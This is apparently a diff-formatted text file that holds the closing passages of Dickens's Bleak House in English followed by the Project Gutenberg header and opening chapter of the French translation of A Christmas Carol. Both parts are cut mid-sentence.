+damp door in the mausoleum which shuts so tight, and looks so
+obdurate, will have opened and received him.
+
+Volumnia, growing with the flight of time pinker as to the red in her
+face, and yellower as to the white, reads to Sir Leicester in the
+long evenings and is driven to various artifices to conceal her
+yawns, of which the chief and most efficacious is the insertion of
+the pearl necklace between her rosy lips. Long-winded treatises on
+the Buffy and Boodle question, showing how Buffy is immaculate and
+Boodle villainous, and how the country is lost by being all Boodle
+and no Buffy, or saved by being all Buffy and no Boodle (it must be
+one of the two, and cannot be anything else), are the staple of her
+reading. Sir Leicester is not particular what it is and does not
+appear to follow it very closely, further than that he always comes
+broad awake the moment Volumnia ventures to leave off, and sonorously
+repeating her last words, begs with some displeasure to know if she
+finds herself fatigued. However, Volumnia, in the course of her
+bird-like hopping about and pecking at papers, has alighted on a
+memorandum concerning herself in the event of "anything happening" to
+her kinsman, which is handsome compensation for an extensive course
+of reading and holds even the dragon Boredom at bay.
+
+The cousins generally are rather shy of Chesney Wold in its dullness,
+but take to it a little in the shooting season, when guns are heard
+in the plantations, and a few scattered beaters and keepers wait at
+the old places of appointment for low-spirited twos and threes of
+cousins. The debilitated cousin, more debilitated by the dreariness
+of the place, gets into a fearful state of depression, groaning under
+penitential sofa-pillows in his gunless hours and protesting that
+such fernal old jail's--nough t'sew fler up--frever.
+
+The only great occasions for Volumnia in this changed aspect of the
+place in Lincolnshire are those occasions, rare and widely separated,
+when something is to be done for the county or the country in the way
+of gracing a public ball. Then, indeed, does the tuckered sylph come
+out in fairy form and proceed with joy under cousinly escort to the
+exhausted old assembly-room, fourteen heavy miles off, which, during
+three hundred and sixty-four days and nights of every ordinary year,
+is a kind of antipodean lumber-room full of old chairs and tables
+upside down. Then, indeed, does she captivate all hearts by her
+condescension, by her girlish vivacity, and by her skipping about as
+in the days when the hideous old general with the mouth too full of
+teeth had not cut one of them at two guineas each. Then does she
+twirl and twine, a pastoral nymph of good family, through the mazes
+of the dance. Then do the swains appear with tea, with lemonade, with
+sandwiches, with homage. Then is she kind and cruel, stately and
+unassuming, various, beautifully wilful. Then is there a singular
+kind of parallel between her and the little glass chandeliers of
+another age embellishing that assembly-room, which, with their meagre
+stems, their spare little drops, their disappointing knobs where no
+drops are, their bare little stalks from which knobs and drops have
+both departed, and their little feeble prismatic twinkling, all seem
+Volumnias.
+
+For the rest, Lincolnshire life to Volumnia is a vast blank of
+overgrown house looking out upon trees, sighing, wringing their
+hands, bowing their heads, and casting their tears upon the
+window-panes in monotonous depressions. A labyrinth of grandeur, less
+the property of an old family of human beings and their ghostly
+likenesses than of an old family of echoings and thunderings which
+start out of their hundred graves at every sound and go resounding
+through the building. A waste of unused passages and staircases in
+which to drop a comb upon a bedroom floor at night is to send a
+stealthy footfall on an errand through the house. A place where few
+people care to go about alone, where a maid screams if an ash drops
+from the fire, takes to crying at all times and seasons, becomes the
+victim of a low disorder of the spirits, and gives warning and
+departs.
+
+Thus Chesney Wold. With so much of itself abandoned to darkness and
+vacancy; with so little change under the summer shining or the wintry
+lowering; so sombre and motionless always--no flag flying now by day,
+no rows of lights sparkling by night; with no family to come and go,
+no visitors to be the souls of pale cold shapes of rooms, no stir of
+life about it--passion and pride, even to the stranger's eye, have
+died away from the place in Lincolnshire and yielded it to dull
+repose.
+
+
+
+
+CHAPTER LXVII
+
+The Close of Esther's Narrative
+
+
+Full seven happy years I have been the mistress of Bleak House. The
+few words that I have to add to what I have written are soon penned;
+then I and the unknown friend to whom I write will part for ever. Not
+without much dear remembrance on my side. Not without some, I hope,
+on his or hers.
+
+They gave my darling into my arms, and through many weeks I never
+left her. The little child who was to have done so much was born
+before the turf was planted on its father's grave. It was a boy; and
+I, my husband, and my guardian gave him his father's name.
+
+The help that my dear counted on did come to her, though it came, in
+the eternal wisdom, for another purpose. Though to bless and restore
+his mother, not his father, was the errand of this baby, its power
+was mighty to do it. When I saw the strength of the weak little hand
+and how its touch could heal my darling's heart and raised hope
+within her, I felt a new sense of the goodness and the tenderness of
+God.
+
+They throve, and by degrees I saw my dear girl pass into my country
+garden and walk there with her infant in her arms. I was married
+then. I was the happiest of the happy.
+
+It was at this time that my guardian joined us and asked Ada when she
+would come home.
+
+"Both houses are your home, my dear," said he, "but the older Bleak
+House claims priority. When you and my boy are strong enough to do
+it, come and take possession of your home."
+
+Ada called him "her dearest cousin, John." But he said, no, it must
+be guardian now. He was her guardian henceforth, and the boy's; and
+he had an old association with the name. So she called him guardian,
+and has called him guardian ever since. The children know him by no
+other name. I say the children; I have two little daughters.
+
+It is difficult to believe that Charley (round-eyed still, and not at
+all grammatical) is married to a miller in our neighbourhood; yet so
+it is; and even now, looking up from my desk as I write early in the
+morning at my summer window, I see the very mill beginning to go
+round. I hope the miller will not spoil Charley; but he is very fond
+of her, and Charley is rather vain of such a match, for he is well to
+do and was in great request. So far as my small maid is concerned, I
+might suppose time to have stood for seven years as still as the mill
+did half an hour ago, since little Emma, Charley's sister, is exactly
+what Charley used to be. As to Tom, Charley's brother, I am really
+afraid to say what he did at school in ciphering, but I think it was
+decimals. He is apprenticed to the miller, whatever it was, and is a
+good bashful fellow, always falling in love with somebody and being
+ashamed of it.
+
+Caddy Jellyby passed her very last holidays with us and was a dearer
+creature than ever, perpetually dancing in and out of the house with
+the children as if she had never given a dancing-lesson in her life.
+Caddy keeps her own little carriage now instead of hiring one, and
+lives full two miles further westward than Newman Street. She works
+very hard, her husband (an excellent one) being lame and able to do
+very little. Still, she is more than contented and does all she has
+to do with all her heart. Mr. Jellyby spends his evenings at her new
+house with his head against the wall as he used to do in her old one.
+I have heard that Mrs. Jellyby was understood to suffer great
+mortification from her daughter's ignoble marriage and pursuits, but
+I hope she got over it in time. She has been disappointed in
+Borrioboola-Gha, which turned out a failure in consequence of the
+king of Borrioboola wanting to sell everybody--who survived the
+climate--for rum, but she has taken up with the rights of women to
+sit in Parliament, and Caddy tells me it is a mission involving more
+correspondence than the old one. I had almost forgotten Caddy's poor
+little girl. She is not such a mite now, but she is deaf and dumb. I
+believe there never was a better mother than Caddy, who learns, in
+her scanty intervals of leisure, innumerable deaf and dumb arts to
+soften the affliction of her child.
+
+As if I were never to have done with Caddy, I am reminded here of
+Peepy and old Mr. Turveydrop. Peepy is in the Custom House, and doing
+extremely well. Old Mr. Turveydrop, very apoplectic, still exhibits
+his deportment about town, still enjoys himself in the old manner, is
+still believed in in the old way. He is constant in his patronage of
+Peepy and is understood to have bequeathed him a favourite French
+clock in his dressing-room--which is not his property.
+
+With the first money we saved at home, we added to our pretty house
+by throwing out a little growlery expressly for my guardian, which we
+inaugurated with great splendour the next time he came down to see
+us. I try to write all this lightly, because my heart is full in
+drawing to an end, but when I write of him, my tears will have their
+way.
+
+I never look at him but I hear our poor dear Richard calling him a
+good man. To Ada and her pretty boy, he is the fondest father; to me
+he is what he has ever been, and what name can I give to that? He is
+my husband's best and dearest friend, he is our children's darling,
+he is the object of our deepest love and veneration. Yet while I feel
+towards him as if he were a superior being, I am so familiar with him
+and so easy with him that I almost wonder at myself. I have never
+lost my old names, nor has he lost his; nor do I ever, when he is
+with us, sit in any other place than in my old chair at his side,
+Dame Trot, Dame Durden, Little Woman--all just the same as ever; and
+I answer, "Yes, dear guardian!" just the same.
+
+I have never known the wind to be in the east for a single moment
+since the day when he took me to the porch to read the name. I
+remarked to him once that the wind seemed never in the east now, and
+he said, no, truly; it had finally departed from that quarter on that
+very day.
+
+I think my darling girl is more beautiful than ever. The sorrow that
+has been in her face--for it is not there now--seems to have purified
+even its innocent expression and to have given it a diviner quality.
+Sometimes when I raise my eyes and see her in the black dress that
+she still wears, teaching my Richard, I feel--it is difficult to
+express--as if it were so good to know that she remembers her dear
+Esther in her prayers.
+
+I call him my Richard! But he says that he has two mamas, and I am
+one.
+
+We are not rich in the bank, but we have always prospered, and we
+have quite enough. I never walk out with my husband but I hear the
+people bless him. I never go into a house of any degree but I hear
+his praises or see them in grateful eyes. I never lie down at night
+but I know that in the course of that day he has alleviated pain and
+soothed some fellow-creature in the time of need. I know that from
+the beds of those who were past recovery, thanks have often, often
+gone up, in the last hour, for his patient ministration. Is not this
+to be rich?
+
+The people even praise me as the doctor's wife. The people even like
+me as I go about, and make so much of me that I am quite abashed. I
+owe it all to him, my love, my pride! They like me for his sake, as I
+do everything I do in life for his sake.
+
+A night or two ago, after bustling about preparing for my darling and
+my guardian and little Richard, who are coming to-morrow, I was
+sitting out in the porch of all places, that dearly memorable porch,
+when Allan came home. So he said, "My precious little woman, what are
+you doing here?" And I said, "The moon is shining so brightly, Allan,
+and the night is so delicious, that I have been sitting here
+thinking."
+
+"What have you been thinking about, my dear?" said Allan then.
+
+"How curious you are!" said I. "I am almost ashamed to tell you, but
+I will. I have been thinking about my old looks--such as they were."
+
+"And what have you been thinking about THEM, my busy bee?" said
+Allan.
+
+"I have been thinking that I thought it was impossible that you COULD
+have loved me any better, even if I had retained them."
+
+"'Such as they were'?" said Allan, laughing.
+
+"Such as they were, of course."
+
+"My dear Dame Durden," said Allan, drawing my arm through his, "do
+you ever look in the glass?"
+
+"You know I do; you see me do it."
+
+"And don't you know that you are prettier than you ever were?"
+
+"I did not know that; I am not certain that I know it now. But I know
+that my dearest little pets are very pretty, and that my darling is
+very beautiful, and that my husband is very handsome, and that my
+guardian has the brightest and most benevolent face that ever was
+seen, and that they can very well do without much beauty in me--even
+supposing--."
+
+
+
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+The Project Gutenberg EBook of Cantique de Noël, by Charles Dickens
+
+This eBook is for the use of anyone anywhere at no cost and with
+almost no restrictions whatsoever.  You may copy it, give it away or
+re-use it under the terms of the Project Gutenberg License included
+with this eBook or online at www.gutenberg.org
+
+
+Title: Cantique de Noël
+
+Author: Charles Dickens
+
+Release Date: June 7, 2005 [EBook #16021]
+
+Language: French
+
+
+*** START OF THIS PROJECT GUTENBERG EBOOK CANTIQUE DE NOËL ***
+
+
+
+
+Produced by Ebooks libres et gratuits; this text is also
+available at http://www.ebooksgratuits.com
+
+
+
+
+
+
+
+
+Charles Dickens
+
+
+
+CANTIQUE DE NOËL
+
+EN PROSE
+
+
+
+Table des matières
+
+Premier couplet  Le spectre de Marley
+Deuxième couplet  Le premier des trois esprits
+Troisième couplet  Le second des trois esprits
+Quatrième couplet  Le dernier esprit
+Cinquième couplet  La conclusion
+
+
+
+Premier couplet
+
+Le spectre de Marley
+
+Marley était mort, pour commencer. Là-dessus, pas l'ombre d'un
+doute. Le registre mortuaire était signé par le ministre, le
+clerc, l'entrepreneur des pompes funèbres et celui qui avait mené
+le deuil. Scrooge l'avait signé, et le nom de Scrooge était bon à
+la bourse, quel que fût le papier sur lequel il lui plût d'apposer
+sa signature.
+
+Le vieux Marley était aussi mort qu'un clou de porte.[1]
+
+Attention! je ne veux pas dire que je sache par moi-même ce qu'il
+y a de particulièrement mort dans un clou de porte. J'aurais pu,
+quant à moi, me sentir porté plutôt à regarder un clou de cercueil
+comme le morceau de fer le plus mort qui soit dans le commerce;
+mais la sagesse de nos ancêtres éclate dans les similitudes, et
+mes mains profanes n'iront pas toucher à l'arche sainte; autrement
+le pays est perdu. Vous me permettrez donc de répéter avec énergie
+que Marley était aussi mort qu'un clou de porte.
+
+Scrooge savait-il qu'il fût mort? Sans contredit. Comment aurait-
+il pu en être autrement? Scrooge et lui étaient associés depuis je
+ne sais combien d'années. Scrooge était son seul exécuteur
+testamentaire, le seul administrateur de son bien, son seul
+légataire universel, son unique ami, le seul qui eût suivi son
+convoi. Quoiqu'à dire vrai, il ne fût pas si terriblement
+bouleversé par ce triste événement, qu'il ne se montrât un habile
+homme d'affaires le jour même des funérailles et qu'il ne l'eût
+solennisé par un marché des plus avantageux.
+
+La mention des funérailles de Marley me ramène à mon point de
+départ. Il n'y a pas de doute que Marley était mort: ceci doit
+être parfaitement compris, autrement l'histoire que je vais
+raconter ne pourrait rien avoir de merveilleux. Si nous n'étions
+bien convaincus que le père d'Hamlet est mort, avant que la pièce
+commence, il n'y aurait rien de plus remarquable à le voir rôder
+la nuit, par un vent d'est, sur les remparts de sa ville, qu'à
+voir tout autre monsieur d'un âge mûr se promener mal à propos au
+milieu des ténèbres, dans un lieu rafraîchi par la brise, comme
+serait, par exemple, le cimetière de Saint-Paul, simplement pour
+frapper d'étonnement l'esprit faible de son fils.
+
+Scrooge n'effaça jamais le nom du vieux Marley. Il était encore
+inscrit, plusieurs années après, au-dessus de la porte du magasin:
+_Scrooge et Marley_. La maison de commerce était connue sous la
+raison Scrooge et Marley. Quelquefois des gens peu au courant des
+affaires l'appelaient Scrooge-Scrooge, quelquefois Marley tout
+court; mais il répondait également à l'un et à l'autre nom; pour
+lui c'était tout un.
+
+Oh! il tenait bien le poing fermé sur la meule, le bonhomme
+Scrooge! Le vieux pécheur était un avare qui savait saisir
+fortement, arracher, tordre, pressurer, gratter, ne point lâcher
+surtout! Dur et tranchant comme une pierre à fusil dont jamais
+l'acier n'a fait jaillir une étincelle généreuse, secret, renfermé
+en lui-même et solitaire comme une huître. Le froid qui était au
+dedans de lui gelait son vieux visage, pinçait son nez pointu,
+ridait sa joue, rendait sa démarche roide et ses yeux rouges,
+bleuissait ses lèvres minces et se manifestait au dehors par le
+son aigre de sa voix. Une gelée blanche recouvrait constamment sa
+tête, ses sourcils et son menton fin et nerveux. Il portait
+toujours et partout avec lui sa température au-dessous de zéro; il
+glaçait son bureau aux jours caniculaires et ne le dégelait pas
+d'un degré à Noël.
+
+La chaleur et le froid extérieurs avaient peu d'influence sur
+Scrooge. Les ardeurs de l'été ne pouvaient le réchauffer, et
+l'hiver le plus rigoureux ne parvenait pas à le refroidir. Aucun
+souffle de vent n'était plus âpre que lui. Jamais neige en tombant
+n'alla plus droit à son but, jamais pluie battante ne fut plus
+inexorable. Le mauvais temps ne savait par où trouver prise sur
+lui; les plus fortes averses, la neige, la grêle, les giboulées ne
+pouvaient se vanter d'avoir sur lui qu'un avantage: elles
+tombaient souvent «_avec profusion_». Scrooge ne connut jamais ce
+mot.
+
+Personne ne l'arrêta jamais dans la rue pour lui dire d'un air
+satisfait: «Mon cher Scrooge, comment vous portez-vous? quand
+viendrez-vous me voir?» Aucun mendiant n'implorait de lui le plus
+léger secours, aucun enfant ne lui demandait l'heure. On ne vit
+jamais personne, soit homme, soit femme, prier Scrooge, une seule
+fois dans toute sa vie, de lui indiquer le chemin de tel ou tel
+endroit. Les chiens d'aveugles eux-mêmes semblaient le connaître,
+et, quand ils le voyaient venir, ils entraînaient leurs maîtres
+sous les portes cochères et dans les ruelles, puis remuaient la
+queue comme pour dire: «Mon pauvre maître aveugle, mieux vaut pas
+d'oeil du tout qu'un mauvais oeil!»
+
+Mais qu'importait à Scrooge? C'était là précisément ce qu'il
+voulait. Se faire un chemin solitaire le long des grands chemins
+de la vie fréquentés par la foule, en avertissant les passants par
+un écriteau qu'ils eussent à se tenir à distance, c'était pour
+Scrooge du vrai _nanan_, comme disent les petits gourmands.
+
+Un jour, le meilleur de tous les bons jours de l'année, la veille
+de Noël, le vieux Scrooge était assis, fort occupé, dans son
+comptoir. Il faisait un froid vif et perçant, le temps était
+brumeux; Scrooge pouvait entendre les gens aller et venir dehors,
+dans la ruelle, soufflant dans leurs doigts, respirant avec bruit,
+se frappant la poitrine avec les mains et tapant des pieds sur le
+trottoir pour les réchauffer. Trois heures seulement venaient de
+sonner aux horloges de la Cité, et cependant il était déjà presque
+nuit. Il n'avait pas fait clair de tout le jour, et les lumières
+qui paraissaient derrière les fenêtres des comptoirs voisins
+ressemblaient à des taches de graisse rougeâtres qui s'étalaient
+sur le fond noirâtre d'un air épais et en quelque sorte palpable.
+Le brouillard pénétrait dans l'intérieur des maisons par toutes
+les fentes et les trous de serrure; au dehors il était si dense,
+que, quoique la rue fût des plus étroites, les maisons en face ne
+paraissaient plus que comme des fantômes. À voir les nuages
+sombres s'abaisser de plus en plus et répandre sur tous les objets
+une obscurité profonde, on aurait pu croire que la nature était
+venue s'établir tout près de là pour y exploiter une brasserie
+montée sur une vaste échelle.
+
+La porte du comptoir de Scrooge demeurait ouverte, afin qu'il pût
+avoir l'oeil sur son commis qui se tenait un peu plus loin, dans
+une petite cellule triste, sorte de citerne sombre, occupé à
+copier des lettres. Scrooge avait un très petit feu, mais celui du
+commis était beaucoup plus petit encore: on aurait dit qu'il n'y
+avait qu'un seul morceau de charbon. Il ne pouvait l'augmenter,
+car Scrooge gardait la boîte à charbon dans sa chambre, et toutes
+les fois que le malheureux entrait avec la pelle, son patron ne
+manquait pas de lui déclarer qu'il serait forcé de le quitter.
+C'est pourquoi le commis mettait son cache-nez blanc et essayait
+de se réchauffer à la chandelle; mais comme ce n'était pas un
+homme de grande imaginative, ses efforts demeurèrent superflus.
+
+«Je vous souhaite un gai Noël, mon oncle, et que Dieu vous
+garde!», cria une voix joyeuse. C'était la voix du neveu de
+Scrooge, qui était venu le surprendre si vivement qu'il n'avait
+pas eu le temps de le voir.
+
+«Bah! dit Scrooge, sottise!»
+
+Il s'était tellement échauffé dans sa marche rapide par ce temps
+de brouillard et de gelée, le neveu de Scrooge, qu'il en était
+tout en feu; son visage était rouge comme une cerise, ses yeux
+étincelaient, et la vapeur de son haleine était encore toute
+fumante.
+
+«Noël, une sottise, mon oncle! dit le neveu de Scrooge; ce n'est
+pas là ce que vous voulez dire sans doute?
+
+-- Si fait, répondit Scrooge. Un gai Noël! Quel droit avez-vous
+d'être gai? Quelle raison auriez-vous de vous livrer à des gaietés
+ruineuses? Vous êtes déjà bien assez pauvre!
+
+-- Allons, allons! reprit gaiement le neveu, quel droit avez-vous
+d'être triste? Quelle raison avez-vous de vous livrer à vos
+chiffres moroses? Vous êtes déjà bien assez riche!
+
+-- Bah!» dit encore Scrooge, qui, pour le moment, n'avait pas une
+meilleure réponse prête; et son bah! fut suivi de l'autre mot:
+sottise!
+
+«Ne soyez pas de mauvaise humeur, mon oncle, fit le neveu.
+
+-- Et comment ne pas l'être, repartit l'oncle, lorsqu'on vit dans
+un monde de fous tel que celui-ci? Un gai Noël! Au diable vos gais
+Noëls! Qu'est-ce que Noël, si ce n'est une époque pour payer
+l'échéance de vos billets, souvent sans avoir d'argent? un jour où
+vous vous trouvez plus vieux d'une année et pas plus riche d'une
+heure? un jour où, la balance de vos livres établie, vous
+reconnaissez, après douze mois écoulés, que chacun des articles
+qui s'y trouvent mentionnés vous a laissé sans le moindre profit?
+Si je pouvais en faire à ma tête, continua Scrooge d'un ton
+indigné, tout imbécile qui court les rues avec un gai Noël sur les
+lèvres serait mis à bouillir dans la marmite avec son propre
+pouding et enterré avec une branche de houx au travers du coeur.
+C'est comme ça.
+
+-- Mon oncle! dit le neveu, voulant se faire l'avocat de Noël.
+
+-- Mon neveu! reprit l'oncle sévèrement, fêtez Noël à votre façon,
+et laissez-moi le fêter à la mienne.
+
+-- Fêter Noël! répéta le neveu de Scrooge; mais vous ne le fêtez
+pas, mon oncle.
+
+-- Alors laissez-moi ne pas le fêter. Grand bien puisse-t-il vous
+faire! Avec cela qu'il vous a toujours fait grand bien!
+
+-- Il y a quantité de choses, je l'avoue, dont j'aurais pu retirer
+quelque bien, sans en avoir profité néanmoins, répondit le neveu;
+Noël entre autres. Mais au moins ai-je toujours regardé le jour de
+Noël quand il est revenu (mettant de côté le respect dû à son nom
+sacré et à sa divine origine, si on peut les mettre de côté en
+songeant à Noël), comme un beau jour, un jour de bienveillance, de
+pardon, de charité, de plaisir, le seul, dans le long calendrier
+de l'année, où je sache que tous, hommes et femmes, semblent, par
+un consentement unanime, ouvrir librement les secrets de leurs
+coeurs et voir dans les gens au-dessous d'eux de vrais compagnons
+de voyage sur le chemin du tombeau, et non pas une autre race de
+créatures marchant vers un autre but. C'est pourquoi, mon oncle,
+quoiqu'il n'ait jamais mis dans ma poche la moindre pièce d'or ou
+d'argent, je crois que Noël m'a fait vraiment du bien et qu'il
+m'en fera encore; aussi je répète: Vive Noël!»
+
+Le commis dans sa citerne applaudit involontairement; mais,
+s'apercevant à l'instant même qu'il venait de commettre une
+inconvenance, il voulut attiser le feu et ne fit qu'en éteindre
+pour toujours la dernière apparence d'étincelle.
+
+«Que j'entende encore le moindre bruit de votre côté, dit Scrooge,
+et vous fêterez votre Noël en perdant votre place. Quant à vous,
+monsieur, ajouta-t-il en se tournant vers son neveu, vous êtes en
+vérité un orateur distingué. Je m'étonne que vous n'entriez pas au
+parlement.
+
+-- Ne vous fâchez pas, mon oncle. Allons, venez dîner demain chez
+nous.»
+
+Scrooge dit qu'il voudrait le voir au... oui, en vérité, il le
+dit. Il prononça le mot tout entier, et dit qu'il aimerait mieux
+le voir au d... (Le lecteur finira le mot si cela lui plaît.)
+
+«Mais pourquoi? s'écria son neveu... Pourquoi?
+
+-- Pourquoi vous êtes-vous marié? demanda Scrooge.
+
+-- Parce que j'étais amoureux.
+
+-- Parce que vous étiez amoureux! grommela Scrooge, comme si
+c'était la plus grosse sottise du monde après le gai Noël.
+Bonsoir!
+
+-- Mais, mon oncle, vous ne veniez jamais me voir avant mon
+mariage. Pourquoi vous en faire un prétexte pour ne pas venir
+maintenant?
+
+-- Bonsoir, dit Scrooge.
+
+-- Je ne désire rien de vous; je ne vous demande rien. Pourquoi ne
+serions-nous pas amis?
+
+-- Bonsoir, dit Scrooge.
+
+-- Je suis peiné, bien sincèrement peiné de vous voir si résolu.
+Nous n'avons jamais eu rien l'un contre l'autre, au moins de mon
+côté. Mais j'ai fait cette tentative pour honorer Noël, et je
+garderai ma bonne humeur de Noël jusqu'au bout. Ainsi, un gai
+Noël, mon oncle!
+
+-- Bonsoir, dit Scrooge.
+
+-- Et je vous souhaite aussi la bonne année!
+
+-- Bonsoir,» répéta Scrooge.
+
+Son neveu quitta la chambre sans dire seulement un mot de
+mécontentement. Il s'arrêta à la porte d'entrée pour faire ses
+souhaits de bonne année au commis, qui, bien que gelé, était
+néanmoins plus chaud que Scrooge, car il les lui rendit
+cordialement.
+
+«Voilà un autre fou, murmura Scrooge, qui l'entendit de sa place:
+mon commis, avec quinze schellings par semaine, une femme et des
+enfants, parlant d'un gai Noël. Il y a de quoi se retirer aux
+petites maisons.»
+
+Ce fou fieffé donc, en allant reconduire le neveu le Scrooge,
+avait introduit deux autres personnes. C'étaient deux messieurs de
+bonne mine, d'une figure avenante, qui se tenaient en ce moment,
+chapeau bas, dans le bureau de Scrooge. Ils avaient à la main des
+registres et des papiers, et le saluèrent.
+
+«Scrooge et Marley, je crois? dit l'un d'eux en consultant sa
+liste. Est-ce à M. Scrooge ou à M. Marley que j'ai le plaisir de
+parler?
+
+-- M. Marley est mort depuis sept ans, répondit Scrooge. Il y a
+juste sept ans qu'il est mort, cette nuit même.
+
+-- Nous ne doutons pas que sa générosité ne soit bien représentée
+par son associé survivant,» dit l'étranger en présentant ses
+pouvoirs pour quêter.
+
+Elle l'était certainement; car les deux associés se ressemblaient
+comme deux gouttes d'eau. Au mot fâcheux de générosité, Scrooge
+fronça le sourcil, hocha la tête et rendit au visiteur ses
+certificats.
+
+«À cette époque joyeuse de l'année, monsieur Scrooge, dit celui-ci
+en prenant une plume, il est plus désirable encore que d'habitude
+que nous puissions recueillir un léger secours pour les pauvres et
+les indigents qui souffrent énormément dans la saison où nous
+sommes. Il y en a des milliers qui manquent du plus strict
+nécessaire, et des centaines de mille qui n'ont pas à se donner le
+plus léger bien-être.
+
+-- N'y a-t-il pas des prisons? demanda Scrooge.
+
+-- Oh! en très grand nombre, dit l'étranger laissant retomber sa
+plume.
+
+-- Et les maisons de refuge, continua Scrooge, ne sont-elles plus
+en activité?
+
+-- Pardon, monsieur, répondit l'autre; et plût à Dieu qu'elles ne
+le fussent pas!
+
+-- Le moulin de discipline et la loi des pauvres sont toujours en
+pleine vigueur, alors? dit Scrooge.
+
+-- Toujours; et ils ont fort à faire tous les deux.
+
+-- Oh! j'avais craint, d'après ce que vous me disiez d'abord, que
+quelque circonstance imprévue ne fût venue entraver la marche de
+ces utiles institutions. Je suis vraiment ravi d'apprendre le
+contraire, dit Scrooge.
+
+-- Persuadés qu'elles ne peuvent guère fournir une satisfaction
+chrétienne du corps et de l'âme à la multitude, quelques-uns
+d'entre nous s'efforcent de réunir une petite somme pour acheter
+aux pauvres un peu de viande et de bière, avec du charbon pour se
+chauffer. Nous choisissons cette époque, parce que c'est, de toute
+l'année, le temps où le besoin se fait le plus vivement sentir, et
+où l'abondance fait le plus de plaisir. Pour combien vous
+inscrirai-je?
+
+-- Pour rien! répondit Scrooge.
+
+-- Vous désirez garder l'anonyme.
+
+-- Je désire qu'on me laisse en repos. Puisque vous me demandez ce
+que je désire, messieurs, voilà ma réponse. Je ne me réjouis pas
+moi-même à Noël, et je ne puis fournir aux paresseux les moyens de
+se réjouir. J'aide à soutenir les établissements dont je vous
+parlais tout à l'heure; ils coûtent assez cher: ceux qui ne se
+trouvent pas bien ailleurs n'ont qu'à y aller.
+
+-- Il y en a beaucoup qui ne le peuvent pas, et beaucoup d'autres
+qui aimeraient mieux mourir.
+
+-- S'ils aiment mieux mourir, reprit Scrooge, ils feraient très
+bien de suivre cette idée et de diminuer l'excédent de la
+population. Au reste, excusez-moi; je ne connais pas tout ça.
+
+-- Mais il vous serait facile de le connaître, observa l'étranger.
+
+-- Ce n'est pas ma besogne, répliqua Scrooge. Un homme a bien
+assez de faire ses propres affaires, sans se mêler de celles des
+autres. Les miennes prennent tout mon temps. Bonsoir, messieurs.»
+
+Voyant clairement qu'il serait inutile de poursuivre leur requête,
+les deux étrangers se retirèrent. Scrooge se remit au travail, de
+plus en plus content de lui, et d'une humeur plus enjouée qu'à son
+ordinaire.
+
+Cependant le brouillard et l'obscurité s'épaississaient tellement,
+que l'on voyait des gens courir çà et là par les rues avec des
+torches allumées, offrant leurs services aux cochers pour marcher
+devant les chevaux et les guider dans leur chemin. L'antique tour
+d'une église, dont la vieille cloche renfrognée avait toujours
+l'air de regarder Scrooge curieusement à son bureau par une
+fenêtre gothique pratiquée dans le mur, devint invisible et sonna
+les heures, les demies et les quarts dans les nuages avec des
+vibrations tremblantes et prolongées, comme si ses dents eussent
+claqué là-haut dans sa tête gelée. Le froid devint intense dans la
+rue même. Au coin de la cour, quelques ouvriers, occupés à réparer
+les conduits du gaz, avaient allumé un énorme brasier, autour
+duquel se pressait une foule d'hommes et d'enfants déguenillés, se
+chauffant les mains et clignant les yeux devant la flamme avec un
+air de ravissement. Le robinet de la fontaine était délaissé et
+les eaux refoulées qui s'étaient congelées tout autour de lui
+formaient comme un cadre de glace misanthropique, qui faisait
+horreur à voir.
+
+Les lumières brillantes des magasins, où les branches et les baies
+de houx pétillaient à la chaleur des becs de gaz placés derrière
+les fenêtres, jetaient sur les visages pâles des passants un
+reflet rougeâtre. Les boutiques de marchands de volailles et
+d'épiciers étaient devenues comme un décor splendide, un glorieux
+spectacle, qui ne permettait pas de croire que la vulgaire pensée
+de négoce et de trafic eût rien à démêler avec ce luxe inusité. Le
+lord-maire, dans sa puissante forteresse de Mansion-House, donnait
+ses ordres à ses cinquante cuisiniers et à ses cinquante
+sommeliers pour fêter Noël, comme doit le faire la maison d'un
+lord-maire; et même le petit tailleur qu'il avait condamné, le
+lundi précédent, à une amende de cinq schellings pour s'être
+laissé arrêter dans les rues ivre et faisant un tapage infernal,
+préparait tout dans son galetas pour le pouding du lendemain,
+tandis que sa maigre moitié sortait, avec son maigre nourrisson
+dans les bras, pour aller acheter à la boucherie le morceau de
+boeuf indispensable.
+
+Cependant le brouillard redouble, le froid redouble! un froid vif,
+âpre, pénétrant. Si le bon saint Dunstan avait seulement pincé le
+nez du diable avec un temps pareil, au lieu de se servir de ses
+armes familières, c'est pour le coup que le malin esprit n'aurait
+pas manqué de pousser des hurlements. Le propriétaire d'un jeune
+nez, petit, rongé, mâché par le froid affamé, comme les os sont
+rongés par les chiens, se baissa devant le trou de la serrure de
+Scrooge pour le régaler d'un chant de Noël; mais au premier mot de
+
+_Dieu vous aide, mon gai monsieur!_
+_Que rien ne trouble votre coeur!_
+
+Scrooge saisit sa règle avec un geste si énergique que le chanteur
+s'enfuit épouvanté, abandonnant le trou de la serrure au
+brouillard et aux frimas qui semblèrent s'y précipiter vers
+Scrooge par sympathie.
+
+Enfin l'heure de fermer le comptoir arriva. Scrooge descendit de
+son tabouret d'un air bourru, paraissant donner ainsi le signal
+tacite du départ au commis qui attendait dans la citerne et qui,
+éteignant aussitôt sa chandelle, mit son chapeau sur sa tête.
+
+«Vous voudriez avoir toute la journée de demain, je suppose? dit
+Scrooge.
+
+-- Si cela vous convenait, monsieur.
+
+-- Cela ne me convient nullement, et ce n'est point juste. Si je
+vous retenais une demi-couronne pour ce jour-là, vous vous
+croiriez lésé, j'en suis sûr.»
+
+Le commis sourit légèrement.
+
+«Et cependant, dit Scrooge, vous ne me regardez pas comme lésé,
+moi, si je vous paye une journée pour ne rien faire.»
+
+Le commis observa que cela n'arrivait qu'une fois l'an.
+
+«Pauvre excuse pour mettre la main dans la poche d'un homme tous
+les 25 décembre, dit Scrooge en boutonnant sa redingote jusqu'au
+menton. Mais je suppose qu'il vous faut la journée tout entière;
+tâchez au moins de m'en dédommager en venant de bonne heure après-
+demain matin.»
+
+Le commis le promit et Scrooge sortit en grommelant. Le comptoir
+fut fermé en un clin d'oeil, et le commis, les deux bouts de son
+cache-nez blanc pendant jusqu'au bas de sa veste (car il n'élevait
+pas ses prétentions jusqu'à porter une redingote), se mit à
+glisser une vingtaine de fois sur le trottoir de Cornhill, à la
+suite d'une bande de gamins, en l'honneur de la veille de Noël,
+et, se dirigeant ensuite vers sa demeure à Camden-Town, il y
+arriva toujours courant de toutes ses forces pour jouer à colin-
+maillard.
+
+Scrooge prit son triste dîner dans la triste taverne où il
+mangeait d'ordinaire. Ayant lu tous les journaux et charmé le
+reste de la soirée en parcourant son livre de comptes, il alla
